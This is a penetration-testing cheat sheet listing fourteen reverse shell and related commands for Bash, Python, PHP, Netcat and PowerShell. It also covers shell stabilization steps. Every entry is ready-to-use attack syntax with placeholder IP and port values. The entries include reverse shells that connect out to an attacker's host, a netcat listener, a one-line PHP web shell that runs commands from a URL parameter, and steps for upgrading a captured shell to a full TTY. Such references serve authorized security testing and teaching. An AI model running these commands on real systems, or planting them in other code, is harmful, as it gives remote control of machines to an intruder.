Penetration Testing
Reverse Shell Commands
6 sections14 commands
Bash
2 entriesCommand / syntaxDescription
bash -i >& /dev/tcp/<ip>/<port> 0>&1Bash TCP reverse shellbash -c 'bash -i >& /dev/tcp/<ip>/<port> 0>&1'Bash -c variant
Python
2 entriesCommand / syntaxDescription
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<ip>",<port>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'Python reverse shellpython3 -c 'import os,pty,socket;s=socket.socket();s.connect(("<ip>",<port>));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'Python3 PTY shell
PHP
2 entriesCommand / syntaxDescription
php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'PHP reverse shell<?php system($_GET['cmd']); ?>PHP web shell (one-liner)
Netcat
3 entriesCommand / syntaxDescription
nc -e /bin/sh <ip> <port>Netcat reverse shellrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/fNetcat without -enc -lvnp <port>Netcat listener
PowerShell
1 entriesCommand / syntaxDescription
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"PowerShell reverse shell
Shell Stabilization
4 entriesCommand / syntaxDescription
python3 -c 'import pty;pty.spawn("/bin/bash")'Spawn TTY with Pythonexport TERM=xtermSet terminal typeCtrl+Z then: stty raw -echo; fgFull interactive shellstty rows <num> columns <num>Fix terminal size